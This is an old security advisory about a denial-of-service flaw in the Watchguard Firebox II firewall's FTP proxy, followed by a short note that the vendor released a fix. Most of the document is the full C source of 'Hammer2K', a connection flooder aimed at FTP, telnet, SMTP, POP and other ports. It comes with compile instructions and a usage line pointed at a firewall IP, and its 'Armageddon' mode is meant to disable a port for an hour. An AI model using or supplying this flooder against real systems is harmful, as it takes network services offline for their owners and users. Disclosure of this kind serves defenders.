COMMAND
Watchguard
SYSTEMS AFFECTED
Watchguard Firebox II
PROBLEM
Raptor found following. He played with the Watchguard Firebox II
firewall and discovered a nasty behaviour. Launching a simple
connect() flooder against the ftp proxy of the firewall (no tests
with other services) the port hangs and so do all other services
(also the watchguard remote administration daemon, on port
4105/tcp): the firewall load becomes about 100% and it needs to
be rebooted. Filtering and dinamic rules update seem to continue
working after the attack.
This has been verified DoS either on LAN and on the Internet, but
it's important to say FTP proxy from the untrusted interface is
NOT enabled by default. Here is the program used (a simple lame
proggie from packet storm), use it in this way to reproduce the
bug:
./hammer2k <ip_of_the_firewall> -ftp -A
Wait about 30 secs and stop the DoS: the firewall services should
have been disabled.
/*
::::: Hammer2K version 0.8 ::::: A DoS Tool
By: Threx <threx@attrition.org>
http://inferno.tusculum.edu/~threx
---------GREETS------------
== People that helped in the development of Hammer2K (testing & ideas)==
vortek, Mister-X, DigiEbola, xsprite, & xum_mux
== Good People ==
Everyone on #svun on undernet, operat0r, codewarrior, Sp0ar, d0g,
soulslack, syphix, ziricon, Temujin, Terminal, Th3 M@niac, WeaponsX
Bernz, Hellrider, Rezin, APHC (http://aphc.cjb.net)
---------COMPILE-----------
Simply enter the following command.
bigblue:~# gcc hammer2k.c -o hammer2k
---------DISCLAIMER--------
I TAKE NO RESPONSIBLITY FOR YOUR ACTIONS WITH HAMMER2K. YOU WILL USE THIS
AT YOUR OWN RISK!
*/
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/file.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
char *msg = "123456789123456789123456789123456789123456789123456789";
int sock;
int b;
int X;
int p;
int l;
int len;
int a;
int Usage(char *ARG);
int tcp(void);
int armageddon(void);
int all(void);
struct hostent *he;
struct sockaddr_in target;
int main(int argc, char *argv[])
{
if (argc < 4)
{
Usage(argv[0]);
}
if ((he=gethostbyname(argv[1])) == NULL)
{
printf("\n ERROR: hostname lookup failed \n");
exit(1);
}
if (strcmp(argv[2], "-telnet")==0)
{
p = 23;
l = 1800;
}
else if (strcmp(argv[2], "-inetd")==0)
{
p = 113;
l = 4000;
}
else if (strcmp(argv[2], "-pop2")==0)
{
p = 109;
l = 3000;
}
else if (strcmp(argv[2], "-imap2")==0)
{
p = 143;
l = 4000;
}
else if (strcmp(argv[2], "-finger")==0)
{
p = 79;
l = 1400;
}
else if (strcmp(argv[2], "-smtp")==0)
{
p = 25;
l = 740;
}
else if (strcmp(argv[2], "-ftp")==0)
{
p = 21;
l = 800;
}
else if (strcmp(argv[2], "-pop3")==0)
{
p = 110;
l = 1350;
}
else if (strcmp(argv[2], "-netstat")==0)
{
p = 15;
l = 1300;
}
else
{
printf("\n ERROR: Hammer2K doesn't support that service. \n");
}
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n ERROR: fatal socket error \n");
exit(1);
}
target.sin_family = AF_INET;
target.sin_port = htons(p);
target.sin_addr = *((struct in_addr *)he->h_addr);
if (connect(sock, (struct sockaddr *)&target, sizeof(target)) == -1)
{
printf("\n ERROR: fatal connection error \n");
exit(1);
}
a = atoi(argv[3]);
if (strcmp(argv[3], "-A")==0)
{
armageddon();
}
else if (strcmp(argv[3], "-NA")==0){
tcp();
}
else {
printf("\n ERROR: please use -A (Armageddon ON) or -NA (Armageddon off)
\n");
}
}
int Usage(char *ARG)
{
printf("\n\n Hammer2K by Threx <threx@attrition.org>");
printf("\n Usage: Hammer2K <host> <service> <armageddon-mode>");
printf("\n ::<host>:: ");
printf("\n 0.0.0.0 ");
printf("\n target.net ");
printf("\n\n ::<service>:: ");
printf("\n -netstat ");
printf("\n -ftp ");
printf("\n -telnet ");
printf("\n -smtp ");
printf("\n -finger ");
printf("\n -pop2 ");
printf("\n -imap2 ");
printf("\n -pop3 ");
printf("\n\n ::<armageddon-mode>:: ");
printf("\n -NA = Armageddon Mode Off");
printf("\n -A = Armageddon Mode On\n\n");
exit(1);
}
int armageddon(void)
{
int loop;
int number;
loop = 10;
printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [ON] (This will kill a port for one hour)\n");
printf("\n\n Flooding port......\n\n");
for(number = 1; number < loop; number++)
{
for(X = 1; X < l; X++)
{
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n ERROR: fatal socket error \n");
exit(1);
}
target.sin_family = AF_INET;
target.sin_port = htons(p);
target.sin_addr = *((struct in_addr *)he->h_addr);
if (connect(sock, (struct sockaddr *)&target,
sizeof(target)) == -1)
{
goto timer;
}
if ((send(sock, msg, len, 0)) == -1)
{
printf("\n ERROR: fatal send error \n");
exit(1);
}
len = strlen(msg);
send(sock, msg, len, 0);
close(sock);
}
timer:
system("sleep 600");
}
printf("\n Port %d has been killed for one hour. \n\n", p);
close(sock);
return 0;
}
int tcp(void)
{
printf("\n\nHammer2K by Threx <threx@attrition.org>");
printf("\nHomepage http://inferno.tusculum.edu/~threx");
printf("\n Armageddon Mode is [OFF]]\n");
printf("\n\n Flooding port......\n\n");
for(X = 1; X < l; X++)
{
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n ERROR: fatal socket error \n");
exit(1);
}
target.sin_family = AF_INET;
target.sin_port = htons(p);
target.sin_addr = *((struct in_addr *)he->h_addr);
if (connect(sock, (struct sockaddr *)&target,
sizeof(target)) == -1)
{
printf("\n Port %d: Killed \n", p);
exit(1);
}
if ((send(sock, msg, len, 0)) == -1)
{
printf("\n ERROR: fatal send error \n");
exit(1);
}
len = strlen(msg);
send(sock, msg, len, 0);
close(sock);
}
printf("\n Port %d: Port assumed to be open. \n\n", p, l);
close(sock);
return 0;
}
SOLUTION
WatchGuard investigated the author's claim and verified the
vulnerability. WatchGuard alerted all customers on November 17,
noting that a fix would follow soon. The supported fix is now
available and has been broadcast to all current LiveSecurity
Subscribers.